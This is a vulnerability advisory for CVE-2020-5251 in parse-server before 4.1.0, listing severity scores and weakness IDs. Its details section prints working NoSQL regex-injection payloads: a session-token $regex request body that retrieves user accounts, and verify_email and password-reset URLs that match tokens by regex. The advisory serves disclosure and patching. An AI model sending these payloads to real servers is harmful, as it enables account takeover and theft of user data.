CVE-2020-5251 – parse-server

Package

Manager: npm
Name: parse-server
Vulnerable Version: >=0 <4.1.0

Severity

Level: High

CVSS v3.1: CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:N

CVSS v4.0: CVSS:4.0/AV:N/AC:H/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

EPSS: 0.00313 pctl0.5383

Details

Information disclosure in parse-server 1. you can fetch all the users' objects, by using regex in the NoSQL query. Using the NoSQL, you can use a regex on sessionToken `("_SessionToken":{"$regex":"r:027f"}}` and find valid accounts this way. Using this method, it's possible to retrieve accounts without interaction from the users. GET /parse/users/me HTTP/1.1 ``` { "_ApplicationId": "appName", "_JavaScriptKey": "javascriptkey", "_ClientVersion": "js2.10.0", "_InstallationId": "ca713ee2-6e60-d023-a8fe-14e1bfb2f300", "_SessionToken": { "$regex": "r:5" } } ``` When trying it with an update query the same thing luckily doesn't seem to work: POST /parse/classes/_User/PPNk59jPPZ 2. There is another similar vulnerability in verify email and the request password reset. If you sign up with someone else's email address, you can simply use regex in the token param to verify the account: `http://localhost:1337/parse/apps/kickbox/verify_email?token[$regex]=a&username=some@email.com` The same thing can be done for reset password: `http://localhost:1337/parse/apps/kickbox/request_password_reset?token[$regex]=a&username=some@email.com` You may need to do it a few times with a different letter/number, but as long as the tokens contain the character it will succeed.

Metadata

Created: 2020-03-04T20:20:27Z
Modified: 2021-01-08T20:27:29Z
Source: https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2020/03/GHSA-h4mf-75hf-67w4/GHSA-h4mf-75hf-67w4.json
CWE IDs: ["CWE-200", "CWE-285"]
Alternative ID: GHSA-h4mf-75hf-67w4
Finding: F310
Auto approve: 1